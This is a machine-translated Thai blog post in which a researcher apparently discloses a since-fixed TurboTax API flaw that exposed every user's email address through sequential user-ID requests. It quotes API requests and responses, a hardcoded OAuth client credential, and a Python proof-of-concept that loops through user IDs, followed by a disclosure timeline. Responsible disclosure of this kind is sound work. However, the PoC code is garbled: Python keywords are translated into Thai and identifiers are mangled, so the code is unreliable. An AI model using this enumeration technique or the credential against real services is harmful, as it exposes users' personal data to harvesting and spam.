ช่องโหว่ความเป็นส่วนตัวใน API ของ TurboTax

ในจิตวิญญาณของวันภาษีฉันต้องการเขียนเกี่ยวกับประสบการณ์ของฉันในการรายงานช่องโหว่ความเป็นส่วนตัวในซอฟต์แวร์การเตรียมภาษีที่เป็นที่นิยมมากที่สุดในตลาด: TurboTax ของ Intuit ฉันใช้ TurboTax มาหลายปีสำหรับภาษีของฉันและปีนี้ฉันพบว่าพวกเขาเสนอแอพ Android ตอนแรกฉันสงสัยว่าคนทำภาษีในโทรศัพท์ของพวกเขาจริง ๆ หรือไม่แม้ว่าในการป้องกันของ Intuit แอพนี้ดูเหมือนจะได้รับการตอบสนองต่อแท็บเล็ตมากกว่า เนื่องจาก TurboTax มีข้อมูลที่ละเอียดอ่อนที่สุดของฉันอยู่บางส่วนฉันจึงตัดสินใจตรวจสอบแอพของพวกเขาให้ละเอียดยิ่งขึ้น สิ่งนี้นำไปสู่การค้นพบช่องโหว่ของฉันที่ช่วยให้การแจงนับบัญชีอีเมลของผู้ใช้ทุกคนในระบบของพวกเขา แม้ว่าจะไม่ใช่ช่องโหว่ที่สำคัญ แต่เป็นปัญหาความเป็นส่วนตัวที่ควรค่าแก่การรายงานและแก้ไขอย่างไรก็ตาม

จากการร้องขอทางเว็บฉันสังเกตเห็นการเรียกที่น่าสนใจเพื่อดึงข้อมูลผู้ใช้ของฉัน:

 GET //accounts-tax.platform.intuit.com/v1/users/me HTTP / 1.1 การอนุญาต: *** ถูกลบ *** intuit_appid: Intuit.cg.ttu.android ยอมรับ: application / json offerInfo: {"sku" : "0", "priorityCode": "1877700000"} ตัวแทนผู้ใช้: Dalvik / 1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build / KOT49H) โฮสต์: accounts-tax.platform.intuit.com การเชื่อมต่อ: Keep-Alive ยอมรับการเข้ารหัส: gzip 

คำตอบอยู่ด้านล่าง:

 {"userId": "165140357", "ชื่อผู้ใช้": "rwestergren05", "namespaceId": "50000003", "securityLevel": "สูง", "challengeQuestionAnswer": [{"คำถาม": "สิ่งที่ทำให้คุณเป็น รถคันแรก? ", " คำตอบ ":" *** REMOVED *** "}], " อีเมล ": {" หลัก ": จริง, " ที่อยู่ ":" ***REMOVED***@gmail.com ", "สถานะ": "UNKNOWN"}} 

เป็นรูปแบบการออกแบบทั่วไปที่ใช้ / ฉันเป็นพารามิเตอร์เพื่อดึงข้อมูลผู้ใช้ปัจจุบันแทนที่จะระบุ userId ของเขา ในกรณีเหล่านี้ส่วน URI สุดท้ายมักจะยอมรับ userId เพื่อให้การเข้าถึงข้อมูลโปรไฟล์ของผู้ใช้รายอื่นในแอป URL ต่อไปนี้ (โดยใช้ userId ของฉัน) ได้รับการตอบกลับเช่นเดียวกับด้านบน: //accounts-tax.platform.intuit.com/v1/users/165140357 ต่อไปฉันต้องการเห็นการตอบสนองเมื่อขอข้อมูลของผู้ใช้รายอื่น การลด ID นี้ลงหนึ่งรหัสและทำตามคำขอเดียวกันทำให้เกิดการตอบสนองต่อไปนี้:

 {"อีเมล": "***REMOVED***@another-domain.com"} 

จุดปลายสร้างความแตกต่างอย่างน้อยระหว่างผู้ใช้ที่ล็อกอินและ userId ที่ถูกร้องขอแม้ว่ามันจะยังคงเปิดเผยที่อยู่อีเมลของผู้ใช้ทุกคนในระบบ อีกครั้งไม่ใช่ช่องโหว่ที่ทำให้โลกแตก แต่ผู้ใช้มักไม่ชอบที่อยู่อีเมลของพวกเขาซึ่งถูกเปิดเผยโดยนักแสดงที่เป็นอันตรายเพื่อทำการเก็บเกี่ยวและใช้สแปม

ฉันเขียน PoC ต่อไปนี้เพื่อสาธิตการหาประโยชน์ให้กับทีมรักษาความปลอดภัยของ Intuit:

 คำขอนำเข้า # ข้อมูลประจำตัวที่ถูกต้องทดแทน validUsername = "rwestergren05" validPassword = "" def do_login (ชื่อผู้ใช้รหัสผ่าน): "" "รับอุณหภูมิ access_token" "" bearer_url = "//oauth-tax.platform.intuit.com/oauth2/v1 / ราชสกุล / ผู้ถือ "ข้อมูล = "grant_type = client_credentials" bearer_headers = { "เนื้อหา-Type": "application / x-www ฟอร์ม urlencoded; charset = UTF-8", "การอนุมัติ": "พื้นฐาน cTBpN0ozcjRHNmt0ME5aOXRLd0dXbTJ1STlBN3hVSXVkN2FLTk9VQ01LbEVzNW1hbFY6Y0ZacXRxajk3bmlmd"" XVIVGxiaUlBMTNxV3NYc1RNTUlWNnlQUGpVeg = = "} r = ร้องขอ.post (url = bearer_url, data = data, ส่วนหัว = bearer_headers) temp_token = r.json (). รับ (" access_token ")" "" เข้าสู่ระบบ, รับรหัสอนุญาต "" "url =" //access-tax.platform.intuit.com/v1/oauth2codes/sign_in "data = '{" การเปลี่ยนเส้นทาง oauth2CodeRequest ": {" clientId ":" q0i7J3r4G6kt0NZ9tKwGWm2UIUAUNKUUTHNAMEKIEDNARTHNAME " v1 "}, " รหัสผ่าน ":"% s ", " ชื่อผู้ใช้ ":"% s "} '% (รหัสผ่าน, ชื่อผู้ใช้) ส่วนหัว = {" ประเภทเนื้อหา ":" application / json ", " การอนุญาต ":" ผู้ถือ "+ temp_token, " intuit_risk_profiling_data ":" 880c2310-4440-11e4-916c-data8 "ส่วนหัว = data (ส่วนหัว) = r = ร้องขอ. (url = url = data) oauth2CodeResponse ") รับ (" รหัส ")" "" แลกเปลี่ยนรหัสการอนุญาตสำหรับ access_token "" ข้อมูล "=" grant_type = author_code & รหัส = "+ รหัส +" & redirect_uri = https% 3A% 2F% 2Foauth2.intuit.com% 2Fnativeredirect% 2Fv1 "r = ร้องขอ.post (url = bearer_url, data = data, ส่วนหัว = bearer_headers) access_token = r.json (). รับพิมพ์ (" access_token ") (" โทเค็นการเข้าถึง: "+ access_token) ส่งคืน access_token = do_login (ชื่อผู้ใช้) = validUsername, รหัสผ่าน = validPassword) url = "//accounts-tax.platform.intuit.com/v1/users/" ส่วนหัว = {"การอนุญาต": "ผู้ถือ" + "access_token} mid = 165140356 จำนวน = 0 จำกัด = 5 ขณะที่ นับ <จำกัด : get_url = url + "% d"% กลาง r = ร้องขอได้รับ (get_url, ส่วนหัว = ส่วนหัว) หาก "INVALID_IDENTITY_ID" ไม่อยู่ใน r.text: print (r.text) count + = 1 mid - = 1 

ฉันประทับใจที่ Intuit มีกระบวนการอย่างเป็นทางการสำหรับการรายงานช่องโหว่ด้านความปลอดภัยทำให้ติดต่อทีมที่ถูกต้องได้อย่างง่ายดายเพื่อแก้ไขปัญหา

ระยะเวลาการเปิดเผยข้อมูล

2015-01-12: ส่งรายงานเริ่มต้นแล้ว

2015-01-13: การตอบกลับที่ได้รับซึ่งร้องขอรายละเอียดเพิ่มเติม

2015-01-13: ส่งรายละเอียด PoC (ด้านบน)

2015-01-20: ได้รับการตอบกลับว่าพวกเขากำลังตรวจสอบปัญหา

2015-01-21: ได้รับการตอบสนองขอให้ส่งออกของฉันเมื่อใช้ PoC

2015-01-21: ส่งออกตัวอย่าง

2015-01-21: รับทราบช่องโหว่, การแก้ไขความคืบหน้า

2015-01-27: ฉันติดตามสถานะการแก้ไข

2015-01-31: ได้รับการอัปเดต: มีการควบคุมการลดขนาดวางแผนแพทช์

2015-02-05: ได้รับการอัปเดตแล้ว: มีการตรวจสอบการละเมิดอยู่ในสถานที่ แต่ยังคงมีการแก้ไข ไม่พบการละเมิด API

2015-02-26: ได้รับการอัปเดต: แก้ไขการนำออกใช้และยืนยัน

Intuit ตอบสนองอย่างมากในระหว่างกระบวนการนี้ รายงานดังกล่าวมาถึงช่วงเวลาที่ยุ่งที่สุดของปีและในขณะที่ระยะเวลาการแก้ไขเต็มรูปแบบอาจขยายออกไปพวกเขาใช้มาตรการในการตรวจสอบการใช้ช่องโหว่ในทางที่ผิด ดังที่ตรัสรู้วัตถุประสงค์ของพวกเขาคือเพื่อรักษาข้อมูลลูกค้าให้ปลอดภัยในขณะที่ทำให้แน่ใจว่ามีการหยุดชะงักการบริการเล็กน้อยให้กับลูกค้าในระหว่างกระบวนการบรรเทาผลกระทบ ทีมรักษาความปลอดภัยของ Intuit แสดงความขอบคุณอย่างละเอียดต่อรายงานของฉันและเพิ่มฉันลงในหน้ากิตติกรรมประกาศนักวิจัยด้านความปลอดภัยของพวกเขา